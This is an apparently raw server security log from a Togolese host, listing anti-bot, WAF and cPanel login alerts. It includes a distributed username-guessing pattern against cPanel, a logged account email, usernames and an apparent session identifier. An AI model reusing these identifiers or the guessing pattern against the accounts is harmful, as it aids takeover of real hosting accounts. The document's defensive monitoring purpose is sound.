rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 139.99.170.109
country_id: 2077456
description:
139.99.170.109 - - [16/Jun/2026:12:32:49 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10264424&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781613167 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:139.99.170.109


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.114.99.15
country_id: 1210997
description:
103.114.99.15 - - [16/Jun/2026:12:33:42 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10067610&pdata=https%253A%252F%252Ftogodailynews.tg%252Fattaque-au-nord-du-togo-faure-gnassingbe-reaffirme-sa-determination-a-lutter-contre-le-terrorisme%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781613220 HTTP/2.0" 302 0 togodailynews.tg "https://togodailynews.tg/attaque-au-nord-du-togo-faure-gnassingbe-reaffirme-sa-determination-a-lutter-contre-le-terrorisme/" "Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.9959.1219 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.114.99.15


plugin: ossec
rule: 2501
name: User authentication failure.
description:
127.0.0.1 - fkossivi@caissederetraites.tg [06/16/2026:12:34:30 -0000] "PROPFIND" FAILED LOGIN cpdavd: Authentication failed for user: fkossivi@caissederetraites.tg


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 151.244.153.124
country_id: 99237
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/b17a68 HTTP/1.1||RSV:8.17||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 157.20.207.59
country_id: 1643084
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/907d6c HTTP/1.1||RSV:8.17||T:APACHE||


plugin: modsec
rule: 77350207
name: IM360 WAF: WordPress plugins/themes version enumeration
abuser: 34.12.205.169
country_id: 2750405
domain: pub.soena.tg
description:
IM360 WAF: WordPress plugins/themes version enumeration||RSV:8.17||T:APACHE||REQUEST_URI:/wordpress/wp-includes/wlwmanifest.xml||


plugin: modsec
rule: 77350582
name: IM360 WAF: Bytedancewebview detected
abuser: 104.232.222.55
country_id: 2802361
domain: lvdt.tg
description:
IM360 WAF: Bytedancewebview detected||UA:Mozilla/5.0 (Linux; Android 12; M2004J19C Build/SP1A.210812.016; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/118.0.0.0 Mobile Safari/537.36 musical_ly_2022604030 JsSdk/1.0 NetType/WIFI Channel/googleplay AppName/musical_ly app_version/26.4.3 ByteLocale/ru-RU ByteFullLocale/ru-RU Region/US Spark/1.1.9.4-bugfix AppVersion/26.4.3 PIA/1.4.3 BytedanceWebview/d8a21c6||RSV:8.17||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 138.84.33.238
country_id: 3895114
description:
138.84.33.238 - - [16/Jun/2026:12:35:36 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13133253&pdata=https%253A%252F%252Fcpanel.ns1.netmaster.tg%252F%253Flocale%253Dde&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781613333 HTTP/2.0" 302 0 cpanel.ns1.netmaster.tg "https://cpanel.ns1.netmaster.tg/?locale=de" "Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:138.84.33.238


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 136.36.143.231
country_id: 6252001
description:
136.36.143.231 - - [16/Jun/2026:12:36:04 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10144363&pdata=https%253A%252F%252Fafrique-distribution.net%252Fgh%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781612929 HTTP/2.0" 404 159 afrique-distribution.net "https://afrique-distribution.net/gh/" "Mozilla/5.0 (iPhone; CPU iPhone OS 18_0_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 YaBrowser/26.4.1.655.10 YaApp_iOS/2604.1 YaApp_iOS_Browser/2604.1 Safari/604.1 SA/3 Version/18.0" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:136.36.143.231


plugin: modsec
rule: 77391379
name: IM360 WAF: Possible XSS in arguments
abuser: 102.64.165.143
country_id: 2363686
domain: macite.tg
description:
IM360 WAF: Possible XSS in arguments||MV:<!-- wp:paragraph -->\n<p><strong><em>lom\xc3\xa9 s'impose une fois de plus comme la capitale de l'int\xc3\xa9gration africaine. le lundi 15 juin dernier, la capitale togolaise a donn\xc3\xa9 le coup d'envoi de la premi\xc3\xa8re convention et exposition africaines du transport a\xc3\xa9rien.</em></strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>pr\xc3\xa9sid\xc3\xa9e par le pr\xc3\xa9sident du conseil de la r\xc3\xa9publique togolaise, faure essozimna gnassingb\xc3\xa9, en sa qualit\xc3\xa9 de champion du march\xc3\xa9 unique du transport a\xc3\xa9rien africain (mutaa), cette rencontre de haut niveau r\xc3\xa9unit, jusqu\xe2\x80\x99au 19 juin prochain, un parterre de dirigeants exceptionnels, dont le pr\xc3\xa9sident rwandais paul kagam\xc3\xa9, l'ancien pr\xc3\xa9sident nig\xc3\xa9rian olusegun obasanjo, ainsi que les patrons de l'iata, de l'oaci et d'aci afrique.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>l\xe2\x80\x99initiative vise \xc3\xa0 transformer le ciel africain en un espace de libert\xc3\xa9, de croissance et de connectivit\xc3\xa9. pour y parvenir, le pr\xc3\xa9sident togolais a partag\xc3\xa9 quatre convictions strat\xc3\xa9giques dont nous livrons la quintessence.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>passer de l\xe2\x80\x99engagement politique \xc3\xa0 la r\xc3\xa9alit\xc3\xa9 op\xc3\xa9rationnelle</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>pour le leader togolais, le temps des simples discours est r\xc3\xa9volu. le mutaa doit entrer dans une phase concr\xc3\xa8te et palpable pour les citoyens et les entreprises.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"id\":31280,\"width\":\"686px\",\"height\":\"auto\",\"aspectratio\":\"1.4008755472170107\",\"sizeslug\":\"large\",\"linkdestination\":\"none\",\"align\":\"center\"} -->\n<figure class=\"wp-block-image aligncenter size-large is-resized\"><img src=\"https://macite.tg/wp-content/uploads/2026/06/3460d34e-ee0c-4a14-a528-eee38a50bba8-1024x731.jpg\" alt=\"\" class=\"wp-image-31280\" style=\"aspect-ratio:1.4008755472170107;width:686px;height:auto\"/></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p><em>\xc2\xab le march\xc3\xa9 unique du transport a\xc3\xa9rien africain doit entrer dans une phase plus concr\xc3\xa8te. il faut aligner les accords de services a\xc3\xa9riens, faciliter l\xe2\x80\x99ouverture effective des routes, mieux utiliser les droits de trafic et d\xc3\xa9velopper des corridors prioritaires. \xc2\xbb,</em> a expliqu\xc3\xa9 faure gnassingb\xc3\xa9.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>l'harmonisation des politiques a\xc3\xa9riennes entre les \xc3\x89tats et le renforcement de la coop\xc3\xa9ration op\xc3\xa9rationnelle sont d\xc3\xa9sormais les priorit\xc3\xa9s absolues pour fluidifier les \xc3\xa9changes intercontinentaux.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>rendre le transport a\xc3\xa9rien plus accessible et comp\xc3\xa9titif</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>le constat est partag\xc3\xa9 par tous : voyager en afrique co\xc3\xbbte encore trop cher et les lourdeurs administratives freinent la mobilit\xc3\xa9 des entrepreneurs, des \xc3\xa9tudiants et des touristes.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>pour b\xc3\xa2tir un \xc3\xa9cosyst\xc3\xa8me robuste, le champion du mutaa pr\xc3\xb4ne une action sur plusieurs leviers, \xc3\xa0 savoir&nbsp;: la modernisation des infrastructures a\xc3\xa9roportuaires, la transparence accrue dans les taxes et frais appliqu\xc3\xa9s aux billets d'avion, la digitalisation des syst\xc3\xa8mes et simplification des proc\xc3\xa9dures de voyage, et le renforcement des comp\xc3\xa9tences techniques et de la maintenance locale.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>faire de l\xe2\x80\x99aviation un moteur de la transformation \xc3\xa9conomique</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>l'aviation ne doit plus \xc3\xaatre per\xc3\xa7ue uniquement sous le prisme du transport de passagers. elle est une infrastructure \xc3\xa9conomique majeure, particuli\xc3\xa8rement \xc3\xa0 l'\xc3\xa8re de la zone de libre-\xc3\xa9change continentale africaine (zlecaf).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>le pr\xc3\xa9sident du conseil a insist\xc3\xa9 sur le r\xc3\xb4le crucial du fret a\xc3\xa9rien pour soutenir des secteurs strat\xc3\xa9giques comme l\xe2\x80\x99agriculture et l\xe2\x80\x99agroindustrie, le commerce num\xc3\xa9rique (e-commerce), et les exportations \xc3\xa0 forte valeur ajout\xc3\xa9e.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>cette connectivit\xc3\xa9 a\xc3\xa9rienne doit \xc3\xaatre intelligemment articul\xc3\xa9e avec les r\xc3\xa9seaux routiers, ferroviaires et maritimes pour maximiser la comp\xc3\xa9titivit\xc3\xa9 du continent.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"id\":31281,\"sizeslug\":\"large\",\"linkdestination\":\"none\"} -->\n<figure class=\"wp-block-image size-large\"><img src=\"https://macite.tg/wp-content/uploads/2026/06/06de7101-2b5e-44af-83e8-5c172b3cbb26-1024x762.jpg\" alt=\"\" class=\"wp-image-31281\"/></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p><strong>construire une industrie a\xc3\xa9ronautique africaine durable</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>la souverainet\xc3\xa9 de l'afrique passe aussi par la ma\xc3\xaetrise de son ciel et de ses technologies. faure gnassingb\xc3\xa9 a invit\xc3\xa9 les \xc3\x89tats \xc3\xa0 consid\xc3\xa9rer l\xe2\x80\x99aviation civile comme une v\xc3\xa9ritable fili\xc3\xa8re productive capable de g\xc3\xa9n\xc3\xa9rer des emplois qualifi\xc3\xa9s pour la jeunesse africaine.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>de plus, face aux d\xc3\xa9fis climatiques actuels, cette transition devra imp\xc3\xa9rativement int\xc3\xa9grer les exigences environnementales et les crit\xc3\xa8res de durabilit\xc3\xa9 pour s'inscrire dans l'avenir.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>un leadership salu\xc3\xa9 par l'union africaine</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>la vision du leader togolais fait l'unanimit\xc3\xa9 aupr\xc3\xa8s de ses pairs. le pr\xc3\xa9sident rwandais paul kagam\xc3\xa9 a chaleureusement salu\xc3\xa9 cet engagement en rappelant qu'\xc2\xab <em>aucun pays ne peut r\xc3\xa9ussir seul ni prosp\xc3\xa9rer dans la fragmentation</em> \xc2\xbb.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>de son c\xc3\xb4t\xc3\xa9, l\xe2\x80\x99ancien pr\xc3\xa9sident nig\xc3\xa9rian olusegun obasanjo a f\xc3\xa9licit\xc3\xa9 le \xc2\xab <em>champion de la politique du ciel ouvert en afrique</em> \xc2\xbb pour les progr\xc3\xa8s r\xc3\xa9glementaires majeurs enregistr\xc3\xa9s.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>en reconnaissance de son leadership inspirant, un prix honorifique a \xc3\xa9t\xc3\xa9 remis au chef de l'ex\xc3\xa9cutif togolais, par la commission de l'union africaine et la commission africaine de l'aviation civile.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"id\":31282,\"sizeslug\":\"large\",\"linkdestination\":\"none\"} -->\n<figure class=\"wp-block-image size-large\"><img src=\"https://macite.tg/wp-content/uploads/2026/06/f401f844-47ba-4a70-8242-5d8fe594564c-1024x789.jpg\" alt=\"\" class=\"wp-image-31282\"/></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>notons que pendant cinq jours, la convention de lom\xc3\xa9 sera le th\xc3\xa9\xc3\xa2tre de discussions intenses et strat\xc3\xa9giques structur\xc3\xa9es autour de grands axes. au menu des tables rondes minist\xc3\xa9rielles sur l\xe2\x80\x99accessibilit\xc3\xa9 financi\xc3\xa8re des billets et taxes, des forums politiques et dialogues ex\xc3\xa9cutifs sur la facilitation de la mobilit\xc3\xa9 intra-africaine, des ateliers techniques sur l\xe2\x80\x99innovation, la technologie et le capital humain, et des n\xc3\xa9gociations bilat\xc3\xa9rales port\xc3\xa9es sur l\xe2\x80\x99investissement dans les infrastructures et corridors de fret.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>jpb</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a><strong><em>@macite.tg&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</em></strong></a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong><em>e-mail&nbsp;: </em></strong><a href=\"mailto:maciteinfo@gmail.com\"><strong><em>maciteinfo@gmail.com</em></strong></a><strong><em>; </em></strong><a href=\"mailto:bawela1@gmail.com\"><strong><em>bawela1@gmail.com</em></strong></a><strong><em></em></strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong><em>pour vos annonces, publi-reportages, etc., joignez-nous au (00228)91515309/<strong>79872224 </strong><strong></strong></em></strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong><em>www.macite.tg, l\xe2\x80\x99information, la bonne&nbsp;!</em></strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->||RSV:8.17||T:APACHE||


plugin: modsec
rule: 77391379
name: IM360 WAF: Possible XSS in arguments
abuser: 102.64.165.143
country_id: 2363686
domain: macite.tg
description:
IM360 WAF: Possible XSS in arguments||MV:<!-- wp:paragraph -->\n<p><strong><em>lom\xc3\xa9 s'impose une fois de plus comme la capitale de l'int\xc3\xa9gration africaine. le lundi 15 juin dernier, la capitale togolaise a donn\xc3\xa9 le coup d'envoi de la premi\xc3\xa8re convention et exposition africaines du transport a\xc3\xa9rien.</em></strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>pr\xc3\xa9sid\xc3\xa9e par le pr\xc3\xa9sident du conseil de la r\xc3\xa9publique togolaise, faure essozimna gnassingb\xc3\xa9, en sa qualit\xc3\xa9 de champion du march\xc3\xa9 unique du transport a\xc3\xa9rien africain (mutaa), cette rencontre de haut niveau r\xc3\xa9unit, jusqu\xe2\x80\x99au 19 juin prochain, un parterre de dirigeants exceptionnels, dont le pr\xc3\xa9sident rwandais paul kagam\xc3\xa9, l'ancien pr\xc3\xa9sident nig\xc3\xa9rian olusegun obasanjo, ainsi que les patrons de l'iata, de l'oaci et d'aci afrique.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>l\xe2\x80\x99initiative vise \xc3\xa0 transformer le ciel africain en un espace de libert\xc3\xa9, de croissance et de connectivit\xc3\xa9. pour y parvenir, le pr\xc3\xa9sident togolais a partag\xc3\xa9 quatre convictions strat\xc3\xa9giques dont nous livrons la quintessence.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>passer de l\xe2\x80\x99engagement politique \xc3\xa0 la r\xc3\xa9alit\xc3\xa9 op\xc3\xa9rationnelle</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>pour le leader togolais, le temps des simples discours est r\xc3\xa9volu. le mutaa doit entrer dans une phase concr\xc3\xa8te et palpable pour les citoyens et les entreprises.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"id\":31280,\"width\":\"686px\",\"height\":\"auto\",\"aspectratio\":\"1.4008755472170107\",\"sizeslug\":\"large\",\"linkdestination\":\"none\",\"align\":\"center\"} -->\n<figure class=\"wp-block-image aligncenter size-large is-resized\"><img src=\"https://macite.tg/wp-content/uploads/2026/06/3460d34e-ee0c-4a14-a528-eee38a50bba8-1024x731.jpg\" alt=\"\" class=\"wp-image-31280\" style=\"aspect-ratio:1.4008755472170107;width:686px;height:auto\"/></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p><em>\xc2\xab le march\xc3\xa9 unique du transport a\xc3\xa9rien africain doit entrer dans une phase plus concr\xc3\xa8te. il faut aligner les accords de services a\xc3\xa9riens, faciliter l\xe2\x80\x99ouverture effective des routes, mieux utiliser les droits de trafic et d\xc3\xa9velopper des corridors prioritaires. \xc2\xbb,</em> a expliqu\xc3\xa9 faure gnassingb\xc3\xa9.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>l'harmonisation des politiques a\xc3\xa9riennes entre les \xc3\x89tats et le renforcement de la coop\xc3\xa9ration op\xc3\xa9rationnelle sont d\xc3\xa9sormais les priorit\xc3\xa9s absolues pour fluidifier les \xc3\xa9changes intercontinentaux.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>rendre le transport a\xc3\xa9rien plus accessible et comp\xc3\xa9titif</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>le constat est partag\xc3\xa9 par tous : voyager en afrique co\xc3\xbbte encore trop cher et les lourdeurs administratives freinent la mobilit\xc3\xa9 des entrepreneurs, des \xc3\xa9tudiants et des touristes.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>pour b\xc3\xa2tir un \xc3\xa9cosyst\xc3\xa8me robuste, le champion du mutaa pr\xc3\xb4ne une action sur plusieurs leviers, \xc3\xa0 savoir&nbsp;: la modernisation des infrastructures a\xc3\xa9roportuaires, la transparence accrue dans les taxes et frais appliqu\xc3\xa9s aux billets d'avion, la digitalisation des syst\xc3\xa8mes et simplification des proc\xc3\xa9dures de voyage, et le renforcement des comp\xc3\xa9tences techniques et de la maintenance locale.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>faire de l\xe2\x80\x99aviation un moteur de la transformation \xc3\xa9conomique</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>l'aviation ne doit plus \xc3\xaatre per\xc3\xa7ue uniquement sous le prisme du transport de passagers. elle est une infrastructure \xc3\xa9conomique majeure, particuli\xc3\xa8rement \xc3\xa0 l'\xc3\xa8re de la zone de libre-\xc3\xa9change continentale africaine (zlecaf).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"id\":31281,\"width\":\"675px\",\"height\":\"auto\",\"aspectratio\":\"1.3438656134386562\",\"sizeslug\":\"large\",\"linkdestination\":\"none\",\"align\":\"center\"} -->\n<figure class=\"wp-block-image aligncenter size-large is-resized\"><img src=\"https://macite.tg/wp-content/uploads/2026/06/06de7101-2b5e-44af-83e8-5c172b3cbb26-1024x762.jpg\" alt=\"\" class=\"wp-image-31281\" style=\"aspect-ratio:1.3438656134386562;width:675px;height:auto\"/></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>le pr\xc3\xa9sident du conseil a insist\xc3\xa9 sur le r\xc3\xb4le crucial du fret a\xc3\xa9rien pour soutenir des secteurs strat\xc3\xa9giques comme l\xe2\x80\x99agriculture et l\xe2\x80\x99agroindustrie, le commerce num\xc3\xa9rique (e-commerce), et les exportations \xc3\xa0 forte valeur ajout\xc3\xa9e.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>cette connectivit\xc3\xa9 a\xc3\xa9rienne doit \xc3\xaatre intelligemment articul\xc3\xa9e avec les r\xc3\xa9seaux routiers, ferroviaires et maritimes pour maximiser la comp\xc3\xa9titivit\xc3\xa9 du continent.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>construire une industrie a\xc3\xa9ronautique africaine durable</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>la souverainet\xc3\xa9 de l'afrique passe aussi par la ma\xc3\xaetrise de son ciel et de ses technologies. faure gnassingb\xc3\xa9 a invit\xc3\xa9 les \xc3\x89tats \xc3\xa0 consid\xc3\xa9rer l\xe2\x80\x99aviation civile comme une v\xc3\xa9ritable fili\xc3\xa8re productive capable de g\xc3\xa9n\xc3\xa9rer des emplois qualifi\xc3\xa9s pour la jeunesse africaine.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>de plus, face aux d\xc3\xa9fis climatiques actuels, cette transition devra imp\xc3\xa9rativement int\xc3\xa9grer les exigences environnementales et les crit\xc3\xa8res de durabilit\xc3\xa9 pour s'inscrire dans l'avenir.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>un leadership salu\xc3\xa9 par l'union africaine</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>la vision du leader togolais fait l'unanimit\xc3\xa9 aupr\xc3\xa8s de ses pairs. le pr\xc3\xa9sident rwandais paul kagam\xc3\xa9 a chaleureusement salu\xc3\xa9 cet engagement en rappelant qu'\xc2\xab <em>aucun pays ne peut r\xc3\xa9ussir seul ni prosp\xc3\xa9rer dans la fragmentation</em> \xc2\xbb.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>de son c\xc3\xb4t\xc3\xa9, l\xe2\x80\x99ancien pr\xc3\xa9sident nig\xc3\xa9rian olusegun obasanjo a f\xc3\xa9licit\xc3\xa9 le \xc2\xab <em>champion de la politique du ciel ouvert en afrique</em> \xc2\xbb pour les progr\xc3\xa8s r\xc3\xa9glementaires majeurs enregistr\xc3\xa9s.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>en reconnaissance de son leadership inspirant, un prix honorifique a \xc3\xa9t\xc3\xa9 remis au chef de l'ex\xc3\xa9cutif togolais, par la commission de l'union africaine et la commission africaine de l'aviation civile.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"id\":31282,\"width\":\"658px\",\"height\":\"auto\",\"aspectratio\":\"1.2978610400270387\",\"sizeslug\":\"large\",\"linkdestination\":\"none\",\"align\":\"center\"} -->\n<figure class=\"wp-block-image aligncenter size-large is-resized\"><img src=\"https://macite.tg/wp-content/uploads/2026/06/f401f844-47ba-4a70-8242-5d8fe594564c-1024x789.jpg\" alt=\"\" class=\"wp-image-31282\" style=\"aspect-ratio:1.2978610400270387;width:658px;height:auto\"/></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>notons que pendant cinq jours, la convention de lom\xc3\xa9 sera le th\xc3\xa9\xc3\xa2tre de discussions intenses et strat\xc3\xa9giques structur\xc3\xa9es autour de grands axes. au menu des tables rondes minist\xc3\xa9rielles sur l\xe2\x80\x99accessibilit\xc3\xa9 financi\xc3\xa8re des billets et taxes, des forums politiques et dialogues ex\xc3\xa9cutifs sur la facilitation de la mobilit\xc3\xa9 intra-africaine, des ateliers techniques sur l\xe2\x80\x99innovation, la technologie et le capital humain, et des n\xc3\xa9gociations bilat\xc3\xa9rales port\xc3\xa9es sur l\xe2\x80\x99investissement dans les infrastructures et corridors de fret.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>jpb</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a><strong><em>@macite.tg&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</em></strong></a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong><em>e-mail&nbsp;: </em></strong><a href=\"mailto:maciteinfo@gmail.com\"><strong><em>maciteinfo@gmail.com</em></strong></a><strong><em>; </em></strong><a href=\"mailto:bawela1@gmail.com\"><strong><em>bawela1@gmail.com</em></strong></a><strong><em></em></strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong><em>pour vos annonces, publi-reportages, etc., joignez-nous au (00228)91515309/<strong>79872224 </strong><strong></strong></em></strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong><em>www.macite.tg, l\xe2\x80\x99information, la bonne&nbsp;!</em></strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->||RSV:8.17||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.191.37.232
country_id: 1562822
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/wp-content/uploads/2024/03/WhatsApp-Image-2024-03-28-at-2.59.13-PM.jpeg 1000w, http:/togodailynews.tg/wp-content/uploads/2024/03/WhatsApp-Image-2024-03-28-at-2.59.13-PM-300x300.jpeg 300w, http:/togodailynews.tg/wp-content/uploads/2024/03/WhatsApp-Image-2024-03-28-at-2.59.13-PM-150x150.jpeg 150w, http:/togodailynews.tg/wp-content/uploads/2024/03/WhatsApp-Image-2024-03-28-at-2.59.13-PM-768x768.jpeg 768w HTTP/1.1||RSV:8.17||T:APACHE||


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.230.153.154
country_id: 2635167
description:
[2026-06-16 12:38:45 +0000] info [cpaneld] 5.230.153.154 NEW wcnyaruu:lTBZPxhhJL8cR4Fs address=5.230.153.154,app=cpaneld,creator=wcnyaruu,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 201.189.213.33
country_id: 3895114
description:
[2026-06-16 12:39:06 +0000] info [cpaneld] 201.189.213.33 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 190.216.132.135
country_id: 3686110
description:
[2026-06-16 12:39:14 +0000] info [cpaneld] 190.216.132.135 - anrtog "GET /login/?login_only=1&user=anrtog&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user anrtog (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 147.235.223.15
country_id: 294640
description:
[2026-06-16 12:39:17 +0000] info [cpaneld] 147.235.223.15 - anrto "GET /login/?login_only=1&user=anrto&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user anrto (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 46.62.111.198
country_id: 2017370
description:
[2026-06-16 12:39:20 +0000] info [cpaneld] 46.62.111.198 - anrt "GET /login/?login_only=1&user=anrt&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user anrt (has_cpuser_file failed)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 38.191.219.254
country_id: 3686110
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/99b2c2 HTTP/1.1||RSV:8.17||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 37.77.51.224
country_id: 99237
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/590771953 HTTP/1.1||RSV:8.17||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 5.139.149.102
country_id: 2017370
description:
[2026-06-16 12:39:23 +0000] info [cpaneld] 5.139.149.102 - anr "GET /login/?login_only=1&user=anr&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user anr (has_cpuser_file failed)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 181.94.229.46
country_id: 3437598
domain: togodailynews.tg
description:
